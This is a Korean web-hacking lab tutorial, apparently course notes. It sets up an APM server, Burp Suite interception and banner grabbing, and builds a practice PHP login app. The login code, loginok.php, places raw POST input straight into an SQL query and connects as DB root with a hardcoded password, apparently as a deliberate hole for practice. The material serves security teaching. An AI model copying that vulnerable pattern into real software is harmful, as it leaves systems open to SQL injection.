개발용 On : PHP 코드가 에러가 발생되면 브라우저 화면에 에러가 출력된다.
운영용 Off : /var/log/httpd 로그 디렉터리에 파일로 기록된다.
# vi /etc/php.ini 
[Date]
date.timezone = Asia/Seoul
short_open_tag = On
expose_php = Off
display_errors = On

php 설정이 완료되면 웹서버를  재시작한다.
- 웹서버가 시작되지 않았다면 start 한다.
- 웹서버 설정파일을 수정했다면 restart 한다.
- PHP 설정파일을 수정했다면 restart 한다. 
- ss 명령어를 사용하거나 net-tools(netstat)를 설치해서 웹서버의 열린 포트를 확인한다.
# systemctl restart httpd
# yum -y install net-tools
# netstat -nltp
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      981/sshd
tcp        0      0 127.0.0.1:25            0.0.0.0:*               LISTEN      1142/master
tcp6       0      0 :::22                   :::*                    LISTEN      981/sshd
tcp6       0      0 ::1:25                  :::*                    LISTEN      1142/master
tcp6       0      0 :::80                   :::*                    LISTEN      2233/httpd

4. 웹 문서작성
/var/www/html : 웹 문서가 제공되는 디렉터리
웹 문서를 /var/www/html 디렉터리에 만들어서 연동이 잘 되었는지 확인한다.
# cd /var/www/html
# vi index.html
&lt;!--
파일명 : index.html
프로그램 설명 : 웹 기본 문서
작성자 : 리눅스마스터넷
홈페이지 : http://cafe.linuxmaster.net
--&gt;
&lt;html&gt;
&lt;head&gt;
 &lt;title&gt; test server &lt;/title&gt;
 &lt;meta charset=&quot;utf-8&quot;&gt;
&lt;/head&gt;

&lt;body&gt;
&lt;?
phpinfo();
?&gt;
&lt;/body&gt;
&lt;/html&gt;

5. 웹서버 접속
http://200.200.200.3 으로 접속해서 PHP 연동 페이지가 보이는지 확인한다.
연동 실패: PHP INFO 정보 안보인다.
연동 성공: PHP INFO 정보 보인다.

phpinfo(); 호출의 의미
- APM 연동 내용을 확인
- 아파치 환경변수들을 확인
- PHP 환경변수들을 확인
- PHP 모듈 확인

6. MariaDB 설정
MariaDB의 설정 파일을 수정한다.
MariaDB의 언어셋을 UTF8로 설정한다.
한글 1글자 3byte의 크기를 가진다. DB를 UTF8로 설정하지 않으면 한글이 깨진다.
symbolic-links=0 밑에 4개의 설정을 추가한다.
# cd
# vi /etc/my.cnf
[mysqld]
datadir=/var/lib/mysql
socket=/var/lib/mysql/mysql.sock
symbolic-links=0
collation-server=utf8_general_ci
character-set-server=utf8
skip-character-set-client-handshake
bind-address=127.0.0.1

[mysqld_safe]
  :
  :(생략)


설정 파일을 수정 후 mariadb를 시작한다.
# systemctl start mariadb
# systemctl status mariadb

mariadb가 잘 실행되었는지 열린 포트를 확인한다.
# ss -nltp
# netstat -nltp

mariadb에 접속해서 언어셋이 utf8로 잘 설정되었는지 확인하고 mariadb 접속을 해제한다.
mysql : DBMS(mariadb)에 접속할 수 있는 클라이언트 프로그램 

# mysql
Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MariaDB connection id is 2
Server version: 5.5.68-MariaDB MariaDB Server

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type &#39;help;&#39; or &#39;\h&#39; for help. Type &#39;\c&#39; to clear the current input statement.

MariaDB [(none)]&gt; \s
--------------
mysql  Ver 15.1 Distrib 5.5.68-MariaDB, for Linux (x86_64) using readline 5.1

Connection id:        2
Current database:    
Current user:        root@localhost
SSL:            Not in use
Current pager:        stdout
Using outfile:        &#39;&#39;
Using delimiter:    ;
Server:            MariaDB
Server version:        5.5.68-MariaDB MariaDB Server
Protocol version:    10
Connection:        Localhost via UNIX socket
Server characterset:    utf8  &lt;-- 언어셋 확인
Db     characterset:    utf8  &lt;-- 언어셋 확인
Client characterset:    utf8  &lt;-- 언어셋 확인
Conn.  characterset:    utf8  &lt;-- 언어셋 확인
UNIX socket:        /var/lib/mysql/mysql.sock
Uptime:            8 min 59 sec

Threads: 1  Questions: 5  Slow queries: 0  Opens: 0  Flush tables: 2  Open tables: 26  Queries per second avg: 0.009
--------------

MariaDB [(none)]&gt; exit

DB 관리자 비밀번호 설정
mariadb를 설치하면 DB 관리자(root)의 비밀번호가 없다.
그러므로 사용하기 위해서는 반드시 비밀번호를 설정한다.
mysqladmin : 여러가지 역할을 하는 관리자용 프로그램
형식 : Usage: mysqladmin [OPTIONS] command command....
mysqladmin -h 호스트명 -u 사용자 -p비밀번호 password

# mysqladmin --help
mysqladmin  Ver 9.0 Distrib 5.5.68-MariaDB, for Linux on x86_64
Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Administration program for the mysqld daemon.
Usage: mysqladmin [OPTIONS] command command....

  :
  :(생략)
-h, --host=name     Connect to host.
-u, --user=name     User for login if not current user.
-p, --password[=name]
password [new-password] Change old password to new-password in current format
  :
  :(생략)

관리자(DB root)의 비밀번호를 P@ssw0rd로 변경한다.
-h localhost : 생략 가능 (클라이언트와 서버가 같은 호스트에 존재하면)
-u root : 생략 가능 (시스템 계정명과 DBMS 로그인 계정명이 동일하면)
# mysqladmin -h localhost -u root -p password &lt;-- mysqladmin -p password
Enter password:        &lt;-- 현재 비밀번호 (엔터) 
New password:          &lt;-- 새로운 비밀번호 (P@ssw0rd)
Confirm new password:  &lt;-- 새로운 비밀번호 (P@ssw0rd)


mysql 명령어로 DBMS(mariadb)로 접속한다.

Usage: mysql [OPTIONS] [database]

-h localhost : 생략 가능 (클라이언트와 서버가 같은 호스트에 존재하면)
-u root : 생략 가능 (시스템 계정명과 DBMS 로그인 계정명이 동일하면)

비밀번호 설정이 완료되면 root 권한으로 DBMS에 접속한다.
# mysql -p
Enter password:  &lt;-- P@ssw0rd 입력
Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MariaDB connection id is 6
Server version: 5.5.68-MariaDB MariaDB Server

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type &#39;help;&#39; or &#39;\h&#39; for help. Type &#39;\c&#39; to clear the current input statement.

MariaDB [(none)]&gt; quit


DB서버 자동 접속 설정하기
자신의 홈디렉터리에 .my.cnf 파일을 아래처럼 만들어 놓으면 호스트명, 사용자, 비밀번호
입력을 생략하고 DBMS(mariadb) 서버에 자동으로 접속할 수 있다.
-- $HOME/.my.cnf --
[client]
host = localhost     &lt;-- -h 
user = root          &lt;-- -u
password = P@ssw0rd  &lt;-- -p
-- $HOME/.my.cnf --

# pwd
/root

# vi .my.cnf
[client]
host = localhost
user = root
password = P@ssw0rd

설정파일이 저장되면 허가권(Permission)을 변경한다.
# chmod 600 .my.cnf
# ls -l .my.cnf
-rw-------. 1 root root 58  6월 24 20:08 .my.cnf

# mysql
Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MariaDB connection id is 10
Server version: 5.5.68-MariaDB MariaDB Server

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type &#39;help;&#39; or &#39;\h&#39; for help. Type &#39;\c&#39; to clear the current input statement.

MariaDB [(none)]&gt; select user();
+----------------+
| user()         |
+----------------+
| root@localhost |
+----------------+
1 row in set (0.00 sec)

MariaDB [(none)]&gt; exit


DBMS(mariadb) mysql DB로 접속해서 사용자/DB에 대한 불필요한 설정들을 삭제한다.
# mysql mysql

DB의 목록을 확인한다.
MariaDB [mysql]&gt; show databases;

mysql DB에 있는 Table의 목록을 확인한다. 
MariaDB [mysql]&gt; show tables;

user 테이블 : 사용자 목록이 저장된 테이블
db 테이블 : 사용자 DB에 권한이 저장된 테이블

user 테이블에서 host,user,password 컬럼만 출력한다.
MariaDB [mysql]&gt; select host,user,password from user;
+-----------------------+------+-------------------------------------------+
| host                  | user | password                                  |
+-----------------------+------+-------------------------------------------+
| localhost             | root | *8232A1298A49F710DBEE0B330C42EEC825D4190A |
| localhost.localdomain | root |                                           | &lt;-- 삭제
| 127.0.0.1             | root |                                           | &lt;-- 삭제
| ::1                   | root |                                           | &lt;-- 삭제
| localhost             |      |                                           | &lt;-- 삭제
| localhost.localdomain |      |                                           | &lt;-- 삭제
+-----------------------+------+-------------------------------------------+
6 rows in set (0.00 sec)

db 테이블에서 host,user,db 컬럼만 출력한다.
MariaDB [mysql]&gt; select host,user,db from db;
+------+------+---------+
| host | user | db      |
+------+------+---------+
| %    |      | test    |  &lt;-- 삭제
| %    |      | test\_% |  &lt;-- 삭제
+------+------+---------+
2 rows in set (0.00 sec)


user 테이블의 비밀번호가 없는 레코드를 삭제한다.
MariaDB [mysql]&gt; delete from user where password = &#39;&#39;;
Query OK, 5 rows affected (0.00 sec)

MariaDB [mysql]&gt; select host,user,password from user;
+-----------+------+-------------------------------------------+
| host      | user | password                                  |
+-----------+------+-------------------------------------------+
| localhost | root | *8232A1298A49F710DBEE0B330C42EEC825D4190A |
+-----------+------+-------------------------------------------+
1 row in set (0.00 sec)

db 테이블의 모든 레코드를 삭제한다.
MariaDB [mysql]&gt; delete from db;
Query OK, 2 rows affected (0.00 sec)

MariaDB [mysql]&gt; select host,user,db from db;
Empty set (0.00 sec)

권한을 다시 읽어들인다.
MariaDB [mysql]&gt; flush privileges;
Query OK, 0 rows affected (0.00 sec)

MariaDB [mysql]&gt; exit</code></pre><blockquote>
<p><strong>실습&gt; 웹사이트 설정하기</strong></p>
</blockquote>
<pre><code>1. 파일 업로드
webhacking1.tar.gz 웹서버에 업로드해서 웹해킹을 실습한다.

2. 웹 파일 설정 
[root@webhacking ~]# mv webhacking1.tar.gz /var/www/html/
[root@webhacking ~]# cd /var/www/html
[root@webhacking html]# rm -f index.html
[root@webhacking html]# tar xzf webhacking1.tar.gz 
[root@webhacking html]# mv public_html/* .
[root@webhacking html]# rm -rf public_html

3. DB 설정
[root@webhacking html]# mysql

CREATE DATABASE WebTest;
CREATE USER webadmin@localhost IDENTIFIED BY &#39;P@ssw0rd&#39;;
GRANT ALL PRIVILEGES ON WebTest.* TO webadmin@localhost;   
USE WebTest
CREATE TABLE member (
    no       int NOT NULL AUTO_INCREMENT PRIMARY KEY COMMENT &#39;번호&#39;,
    u_id     varchar(20) NOT NULL UNIQUE COMMENT &#39;회원아이디&#39;,
    u_pass   varchar(50) NOT NULL COMMENT &#39;회원비밀번호&#39;,
    u_name   varchar(20) NOT NULL COMMENT &#39;회원명&#39;,
    nickname char(20) COMMENT &#39;닉네임&#39;, 
    age      int COMMENT &#39;나이&#39;,
    email    char(50) COMMENT &#39;이메일&#39;,
    reg_date datetime NOT NULL COMMENT &#39;가입날짜&#39;
);

CREATE TABLE board(
    strNumber   int NOT NULL AUTO_INCREMENT PRIMARY KEY COMMENT &#39;번호&#39;,
    strName     varchar(20) NOT NULL COMMENT &#39;글쓴이&#39;,
    strPassword varchar(20) NOT NULL COMMENT &#39;글비번&#39;,
    strEmail    varchar(50) COMMENT &#39;이메일&#39;,
    strSubject  varchar(100) COMMENT &#39;글제목&#39;,
    strContent  text NOT NULL COMMENT &#39;글내용&#39;,
    htmlTag     char(1) NOT NULL COMMENT &#39;html사용여부&#39;,
    viewCount   int NOT NULL DEFAULT 0 COMMENT &#39;조회수&#39;,
    filename    varchar(50) COMMENT &#39;파일명&#39;, 
    filesize    int COMMENT &#39;파일크기&#39;,
    writeDate   datetime COMMENT &#39;글쓴날짜&#39;
);

INSERT INTO member VALUES(&#39;&#39;, &#39;tester&#39;, &#39;tester&#39;, &#39;테스터&#39;, &#39;테스트계정&#39;, &#39;&#39;,&#39;&#39;,now());
INSERT INTO member VALUES(&#39;&#39;, &#39;admin&#39;, &#39;P@ssw0rd&#39;, &#39;관리자&#39;, &#39;관리자&#39;, &#39;&#39;,&#39;&#39;,now());

SHOW TABLES;
DESC board;
DESC member;
SELECT * FROM member;

4. 사이트 접속
http://200.200.200.3/

tester, admin 사용자로 로그인해서 로그인이 잘되는지 확인한다.






프록시의 역할
Client가 Resquest 하는 웹 데이터를 중간에 가로채서 Server로 전송하는 역할을 한다.
Server가 Response 하는 웹 데이터를 중간에 가로채서 Client로 전송하는 역할을 한다.
이를 통해 Client와 Server간에 지나다니는 웹 데이터를 가로채서 분석, 조작을 통해서 
웹서버에서 동작하는 웹 애플리케이션의 취약점 찾는데 활용할 수 있다.

프록시의 위치
프록시는 Client와 Server의 중간에 위치한 상태에 놓이게 된다.

           Intercept Client Requests 체크
           Request (웹데이터를 분석하거나 변조)
         ----------&gt;     ----------&gt;
[Client]           [Proxy]         [Server]
         &lt;----------     &lt;----------
           Response(웹데이터를 분석하거나 변조)
           Intercept Server Responses 체크</code></pre><blockquote>
<p><strong>실습&gt; JRE 설치</strong></p>
</blockquote>
<pre><code>JRE: Java Runtime Environment
Java 언어로 만들어진 프로그램을 실행하기 위한 환경을 제공하는 프로그램

JRE 설치
https://java.com/ko/download/

참고: https://cafe.naver.com/linuxmasternet/1708
</code></pre><blockquote>
<p><strong>실습&gt; proxy 툴 설치하기</strong></p>
</blockquote>
<pre><code>점검툴: burp
공식사이트: https://portswigger.net/burp

Community : 무료 버전
Professional : 유료 버전
Enterprise : 유료 버전

1. burp 설치
다운로드 받고 설치한다.

2. burp 실행
검색 -&gt; burp 로 찾아서 실행한다.

3. burp 설정
burp proxy 기본 port: 9090
9090: 톰캣, Oracle 웹 접속 포트

포트가 겹치므로 이를 먼저 확인한다.
검색: cmd -&gt; netstat -na | findstr 9090
9090 포트가 없으면 그대로 진행하는 것이고 있으면 burp의 포트를 9090 이 아닌 다른 포트로 수정한다.

메뉴 -&gt; proxy -&gt; Options
Edit -&gt; 127.0.0.1 9090
Proxy Listeners Running     체크 

Intercept Client Requests 체크: Client에서 보낸 웹 데이터를 분석할 때 사용한다.
Intercept Server Responses 체크: Server에서 보낸 웹 데이터를 분석할 때 사용한다.

Burp Suite 한글이 잘 나올 수 있도록 아래 2개를 설정한다.
메뉴 -&gt; User options -&gt; Display 
HTTP Message Display : 한글 폰트 변경 (D2Coding)
Character Sets : UTF-8 인코딩 변경

4. switchyomega 설치하기
크롬에서 proxy On/Off 설정하는 플러그인
https://chrome.google.com/webstore/detail/proxy-switchyomega/padekgcemlokbadohgkifijomclgjgif

크롬 시크릿창에서 프록시를 사용하는 방법
－ 기본값은 Ｏff -&gt; On
크롬브라우저 메뉴 -&gt; 설정 -&gt; 확장 프로그램
세부정보 -&gt; 시크릿 모드에서 허용 </code></pre><blockquote>
<p><strong>실습&gt; burp 사용하기</strong></p>
</blockquote>
<pre><code>
             Direct
    +-----------------------+
    |                       |
    V                       |
+-------+      +-------+    |  +-------+
|       |Proxy |       |    +-&gt;|       | 
|       |&lt;----&gt;|       |&lt;-----&gt;|       | 
|       |      |       |       |       | 
+-------+      +-------+       +-------+
   .1            Proxy             .3
            200.200.200.0/24

switchyomega 메뉴
Direct: Proxy를 통해서 접근하지 않고 직접 접속한다.
System Proxy: 웹 데이터를 가로채지 않는다.
Proxy: 웹 데이터를 가로챈다. (burp와 같이 설정해야 함.)

1. switchyomega 고정시키기
크롬의 오른쪽 위에서 고정핀으로 고정시킨다.

2. 웹페이지 접속
200.200.200.3 서버에 접속한다.
http://200.200.200.3/

3. Proxy 선택
proxy를 선택하면 아이콘 색이 바뀐다.
이 상태가 되면 burp에서 Client와 Server간의 웹 데이터를 가로챌 수 있다.
가로채는 이유는 모의해커가 웹 데이터에서 취약점의 여부를 분석하기 위해서 사용한다.

4. Intercept 체크 
메뉴 -&gt; proxy -&gt; Options
Edit -&gt; 127.0.0.1 9090
Proxy Listeners Running     체크 
Intercept Client Requests 체크: Client에서 보낸 웹 데이터를 분석할 때 사용한다.
Intercept Server Responses 체크: Server에서 보낸 웹 데이터를 분석할 때 사용한다.

5. burp 설정
burp에서 Client와 Server간의 웹 데이터를 가로채는 설정을 한다.
메뉴 -&gt; proxy -&gt; intercept -&gt; intercept is on 버튼을 클릭한다.

Intercept is on  : 
- Request:  Client -&gt; Server 로 전송하는 웹 데이터를 가로챈다. (분석 o, 조작 o)
- Response: Server -&gt; Client 로 전송하는 웹 데이터를 가로챈다. (분석 o, 조작 o) 
Intercept is off : 
- Request:  Client -&gt; Server 로 전송하는 웹 데이터를 가로채지 않고 서버로 전송한다.     (분석 x, 조작 x)
- Response: Server -&gt; Client 로 전송한 웹 데이터를 가로채지 않고 클라이언트로 전송한다. (분석 x, 조작 x)
Forward : 
- Request: Client -&gt; Server 로 전송하는 웹 데이터를 가로채고 분석, 조작을 한 후 서버로 전송한다.
- Response: Server -&gt; Client 로 웹 데이터를 가로채고 분석, 조작을 한 후 클라이언로 전송한다.
Drop : 
- Request:  Client -&gt; Server 로 전송하는 웹 데이터를 가로채고 삭제한다. (서버로 전송하지 않는다.)
- Response: Server -&gt; Client 로 전송하는 웹 데이터를 가로채고 삭제한다. (클라이언트로 전송하지 않는다.)


여기까지 설정하면 실습을 하기 위한 설정이 완료된 것이다.</code></pre><blockquote>
<p><strong>실습&gt; 배너그래빙</strong></p>
</blockquote>
<pre><code>
burp 에서 서버의 버전을 획득하는 공격

1. expose_php On 일 경우
/etc/php.ini
expose_php = On

Response 의 내용
Server: Apache/2.4.6 (CentOS) PHP/5.4.16
X-Powered-By: PHP/5.4.16

2. expose_php Off 일 경우
/etc/php.ini
expose_php = Off

Response 의 내용
Server: Apache/2.4.6 (CentOS)

3. Servertokens 설정이 없는 경우

Response 의 내용

HTTP/1.1 200 OK
Date: Fri, 31 Mar 2023 03:21:18 GMT
Server: Apache/2.4.6 (CentOS)
Expires: Thu, 19 Nov 1981 08:52:00 GMT


4. Servertokens prod 로 설정한 경우
# vi /etc/httpd/conf/httpd.conf 
Servertokens prod

# systemctl restart httpd

Response 의 내용

HTTP/1.1 200 OK
Date: Fri, 31 Mar 2023 03:18:29 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT</code></pre><blockquote>
<p><strong>실습&gt; GET / POST 방식의 전송 분석하기</strong></p>
</blockquote>
<pre><code>
버프에서 분석
웹 디렉터리: /var/www/html
파일1: get.html  -&gt; get.php
파일2: post.html -&gt; post.php

-- get.html --
&lt;!--
파일명: get.html
프로그램 설명: GET 방식으로 서버로 데이터를 전송한다.
작성자: 리눅스마스터넷
get.html -&gt; get.php
//--&gt;
&lt;!doctype html&gt;
&lt;html&gt;
  &lt;head&gt;
    &lt;meta charset=utf-8&gt;
    &lt;title&gt; ::: get.html ::: &lt;/title&gt;
  &lt;/head&gt;

&lt;body&gt;

&lt;form method=&quot;get&quot; action=&quot;get.php&quot;&gt;
&lt;table align=center bgcolor=#000000 border=0
       cellpadding=4 cellspacing=1 width=300 &gt;
&lt;tr bgcolor=#ffffff&gt;
  &lt;td align=center width=100&gt; 이름 &lt;/td&gt;
  &lt;td width=240&gt; &lt;input type=text name=userid&gt; &lt;/td&gt;
&lt;/tr&gt;
&lt;tr bgcolor=#ffffff&gt;
  &lt;td align=center width=60&gt; 비밀번호 &lt;/td&gt;
  &lt;td width=240&gt; &lt;input type=password name=userpw&gt; &lt;/td&gt;
&lt;/tr&gt;
&lt;tr bgcolor=#ffffff&gt;
  &lt;td align=center colspan=2&gt;
  &lt;input type=submit value=&#39;저장&#39;&gt; &lt;/td&gt;
&lt;/tr&gt;
&lt;/table&gt;
&lt;/form&gt;

&lt;/body&gt;
&lt;/html&gt;
-- get.html --

-- get.php --
&lt;?
/*
파일명: get.php
프로그램 설명: GET 방식으로 데이터를 클라이언트로 전송한다.
작성자: 리눅스마스터넷
get.html -&gt; get.php
*/
print_r($_GET);
?&gt;
-- get.php --


-- post.html --
&lt;!--
파일명: post.html
프로그램 설명: POST 방식으로 서버로 데이터를 전송한다.
작성자: 리눅스마스터넷
post.html -&gt; post.php
//--&gt;
&lt;!doctype html&gt;
&lt;html&gt;
  &lt;head&gt;
    &lt;meta charset=utf-8&gt;
    &lt;title&gt; ::: post.html ::: &lt;/title&gt;
  &lt;/head&gt;

&lt;body&gt;

&lt;form method=&quot;post&quot; action=post.php&gt;
&lt;table align=center bgcolor=#000000 border=0
       cellpadding=4 cellspacing=1 width=300 &gt;
&lt;tr bgcolor=#ffffff&gt;
  &lt;td align=center width=100&gt; 이름 &lt;/td&gt;
  &lt;td width=240&gt; &lt;input type=text name=userid&gt; &lt;/td&gt;
&lt;/tr&gt;
&lt;tr bgcolor=#ffffff&gt;
  &lt;td align=center width=60&gt; 비밀번호 &lt;/td&gt;
  &lt;td width=240&gt; &lt;input type=password name=userpw&gt; &lt;/td&gt;
&lt;/tr&gt;
&lt;tr bgcolor=#ffffff&gt;
  &lt;td align=center colspan=2&gt;
  &lt;input type=submit value=&#39;저장&#39;&gt; &lt;/td&gt;
&lt;/tr&gt;
&lt;/table&gt;
&lt;/form&gt;

&lt;/body&gt;
&lt;/html&gt;
-- post.html --

-- post.php --
&lt;?
/*
파일명: post.php
프로그램 설명: POST 방식으로 데이터를 클라이언트로 전송한다.
작성자: 리눅스마스터넷
post.html -&gt; post.php
*/
print_r($_POST);
?&gt;
-- post.php --
</code></pre><blockquote>
<p><strong>실습&gt; 로그인 프로그램</strong></p>
</blockquote>
<pre><code>login.php loginok.php logout.php 파일을 생성한다.

login.php    : 로그인 페이지
loginok.php  : 로그인 인증 페이지 (DB 연동 부분)
logout.php   : 로그아웃 페이지


               로그아웃 흐름도
   +-----------------------------------+
   |                                   |
   |                                   |
   |                                   v
로그인 페이지     로그인 인증        로그아웃 페이지
login.php -----&gt; loginok.php ----&gt; logout.php 
                    |                  |
로그인 흐름도       |                  |
                    |                  |
   ^                |                  |
   |                |                  |
   +----------------+                  |
                                       |
   ^                                   |
   |                                   |
   +-----------------------------------+

1. APM 연동
APM을 연동한다.
위에서 설정했기 때문에 설정할 필요가 없지만 아래 명령어로 확인할 필요는 있다.
# php -r &quot;mysqli_connect();&quot;
PHP Warning:  mysqli_connect(): (28000/1045): Access denied for user &#39;root&#39;@&#39;localhost ... (생략)

2. DB/Table 생성

DB명 : newproject
TB명 : member
MariaDB [newproject]&gt; desc member;
+----------+-------------+------+-----+---------+----------------+
| Field    | Type        | Null | Key | Default | Extra          |
+----------+-------------+------+-----+---------+----------------+
| no       | int(11)     | NO   | PRI | NULL    | auto_increment |
| userid   | varchar(20) | NO   | UNI | NULL    |                |
| userpw   | varchar(41) | NO   |     | NULL    |                |
| username | varchar(20) | NO   |     | NULL    |                |
| regdate  | datetime    | NO   |     | NULL    |                |
| phone    | varchar(20) | YES  |     | NULL    |                |
| email    | varchar(50) | YES  |     | NULL    |                |
+----------+-------------+------+-----+---------+----------------+
7 rows in set (0.00 sec)

CREATE DATABASE newproject;
USE newproject
CREATE TABLE member (
    no       int         NOT NULL AUTO_INCREMENT PRIMARY KEY COMMENT &#39;회원번호&#39;,
    userid   varchar(20) NOT NULL UNIQUE COMMENT &#39;사용자&#39;,
    userpw   varchar(41) NOT NULL COMMENT &#39;비밀번호&#39;,
    username varchar(20) NOT NULL COMMENT &#39;회원이름&#39;,
    regdate  datetime    NOT NULL COMMENT &#39;가입날짜&#39;,
    phone    varchar(20) COMMENT &#39;연락처&#39;, 
    email    varchar(50) COMMENT &#39;이메일&#39;
);

INSERT INTO member VALUES (&#39;&#39;, &#39;admin&#39;,  password(&#39;111111&#39;), &#39;관리자&#39;, now(), &#39;010-1111-2222&#39;, &#39;admin@linuxmaster.net&#39;);
INSERT INTO member VALUES (&#39;&#39;, &#39;mrhong&#39;, password(&#39;222222&#39;), &#39;홍길동&#39;, now(), &#39;010-2222-3333&#39;, &#39;mrhong@linuxmaster.net&#39;);

SELECT * FROM member;

MariaDB [newproject]&gt; quit


3. 웹 프로그램 생성
/var/www/html 디렉터리에 웹애플리케이션 파일을 생성한다.
:set noai , :set paste 를 설정하고 복사/붙여넣기 한다.

# cd /var/www/html
# mkdir LOGINTEST; cd LOGINTEST

# vi login.php
-- login.php --
&lt;?
/*
 * 파일명 : login.php
 * 프로그램 설명 : 로그인 메인 프로그램
 * 작성자 : 리눅스마스터넷
 */

session_start(); // 세션 시작
?&gt;
&lt;html&gt;
&lt;head&gt;
  &lt;title&gt; :::로그인 테스트::: &lt;/title&gt;
  &lt;meta charset=&quot;utf-8&quot;/&gt;
&lt;/head&gt;
&lt;body&gt;

&lt;?
if(isset($_SESSION[&#39;userid&#39;]))
{
?&gt;

&lt;table align=center border=1 cellpadding=5 cellspacing=0&gt;
&lt;tr align=center&gt;
  &lt;td align=center&gt; &lt;?=$_SESSION[&#39;username&#39;] ?&gt; 님 환영합니다. &lt;/td&gt;
&lt;/tr&gt;
&lt;tr align=center&gt;
  &lt;td align=center&gt; &lt;a href=logout.php&gt; 로그아웃 &lt;/a&gt; &lt;/td&gt;
&lt;/tr&gt;
&lt;/table&gt;

&lt;?
} else {

?&gt;
&lt;form method=post action=loginok.php&gt;
&lt;table align=center border=1 cellpadding=5 cellspacing=0&gt;
&lt;tr align=center&gt;
  &lt;td&gt; 아이디 &lt;/td&gt; &lt;td&gt; &lt;input type=text name=userid&gt; &lt;/td&gt;
&lt;tr&gt;
&lt;tr align=center&gt;
  &lt;td&gt; 비밀번호 &lt;/td&gt; &lt;td&gt; &lt;input type=password name=userpw&gt; &lt;/td&gt;
&lt;tr&gt;
&lt;tr align=center&gt;
  &lt;td align=center colspan=2&gt; &lt;input type=submit value=로그인&gt; &lt;/td&gt;
&lt;tr&gt;
&lt;/table&gt;
&lt;/form&gt;

&lt;?
}
?&gt;

&lt;/body&gt;
&lt;/html&gt;
-- login.php --

# vi loginok.php
&lt;?
/*
 * 파일명 : loginok.php
 * 프로그램 설명 : DB에 사용자를 확인해서 로그인하는 파일
 * 작성자 : 리눅스마스터넷
 */
session_start();  // 세션 시작

// 디버깅 시 사용
//print_r($_POST);
//exit;

// 원래는 root로 DB를 접속하면 보안상 문제가 발생되므로 일반 유저로 접속해야 한다.
// 여기서는 테스트므로 root로 그냥 접속한다.
$DBHOST=&quot;localhost&quot;;
$DBUSER=&quot;root&quot;;
$DBPASS=&quot;P@ssw0rd&quot;;
$DBNAME = &quot;newproject&quot;;
$TBNAME = &quot;member&quot;;

# DBMS 접속
#resource mysql_connect(서버명,사용자,비번)
$connect = mysqli_connect($DBHOST, $DBUSER, $DBPASS, $DBNAME) or die(&quot;DBMS에 접속 실패&quot;);

# DB 선택
# mysql_select_db(DB명, 연결정보)
//mysqli_select_db($DBNAME);

# 쿼리 실행
$query = &quot;SELECT * FROM $TBNAME WHERE userid = &#39;$_POST[userid]&#39; and userpw = password(&#39;$_POST[userpw]&#39;) &quot;;

/* 디버깅 용도
 * echo $query;
 * exit;
 */

# resource mysql_query(쿼리문, 연결정보)
# resource mysqli_query(연결정보, 쿼리문)
$result = mysqli_query($connect, $query);

# 전체 자료 수가 1이면 userid / userpw 가 일치했다는 의미이다.
$num = mysqli_num_rows($result);

if($num)
{  // 세션 생성
    $row = mysqli_fetch_array($result); // $row 변수에 연관 배열로 저장한다.
    // echo &quot;디버깅 : $num &lt;br&gt;&quot;;
    // echo &quot;디버깅 : $row[username]&quot;;
    // exit;
    $_SESSION[&#39;userid&#39;] = $row[&#39;userid&#39;];  // 세션변수 userid 를 생성한다.
    $_SESSION[&#39;username&#39;] = $row[&#39;username&#39;]; // 세션변수 username 을 생성한다.
   echo &quot; &lt;script language=JavaScript&gt;
          &lt;!--
              location.href = &#39;login.php&#39;;
          //--&gt;
          &lt;/script&gt;
        &quot;;

} else { // userid / userpw 가 틀렸다면 에러메세지를 출력하고 이제 페이지로 돌려보낸다.
   echo &quot; &lt;script language=JavaScript&gt;
          &lt;!--
              alert(&#39;아이디/비번을 확인해주세요.&#39;);
              history.go(-1);
          //--&gt;
          &lt;/script&gt;
        &quot;;
}

?&gt;
-- loginok.php --

# vi logout.php
-- logout.php --
&lt;?
/*
 * 파일명 : logout.php
 * 프로그램 설명 : 로그아웃 프로그램
 * 작성자 : 리눅스마스터넷
 */
session_start();    // 세션 시작
session_destroy();  // 세션 삭제

// login.php 로 다시 돌려 보낸다.
echo &quot; &lt;script language=JavaScript&gt;
       &lt;!--
          location.href = &#39;login.php&#39;;
       //--&gt;
       &lt;/script&gt;
     &quot;;
?&gt;
-- logout.php --
</code></pre><blockquote>
<p><strong>실습&gt; 웹 데이터 조작하기</strong></p>
</blockquote>
<pre><code>
웹 데이터: Request Header 조작
Intercept is off/on 설정을 적절하게 사용한다.

1. 웹 페이지 접속
http://200.200.200.3/LOGINTEST/login.php

2. 페이지 소스 분석
크롬 단축키: Ctrl + U, 탭 닫기: Ctrl + F4

HTML 코드를 먼저 파악하기 위해서 소스코드를 분석한다.
소스코드에는 이전에 사용한 페이지이지만 현재는 사용하지 않는 페이지가 있을 때
소스코드에서 삭제하면 최고이지만 단순히 주석으로 막아놓은 경우도 있다.
이때는 문제가 발생할 수 있다.

예)
&lt;!-- 
개발팀: 홍길동 대리
연락처: 010-1000-2222
&lt;center&gt;&lt;h1&gt; 로그인 페이지 &lt;/h1&gt;&lt;/center&gt; 
--&gt;

3. Intercept On 설정
Intercept On 으로 설정한다.

4. 데이터 전송
아이디: admin, 비밀번호: 123 을 입력해서 전송한다.

Request 내용
POST /LOGINTEST/loginok.php HTTP/1.1
Host: 200.200.200.3
Content-Length: 23
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://200.200.200.3
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://200.200.200.3/LOGINTEST/login.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,ko;q=0.8
Cookie: PHPSESSID=qr4k2mgekt9121qu3aio3ml685
Connection: close

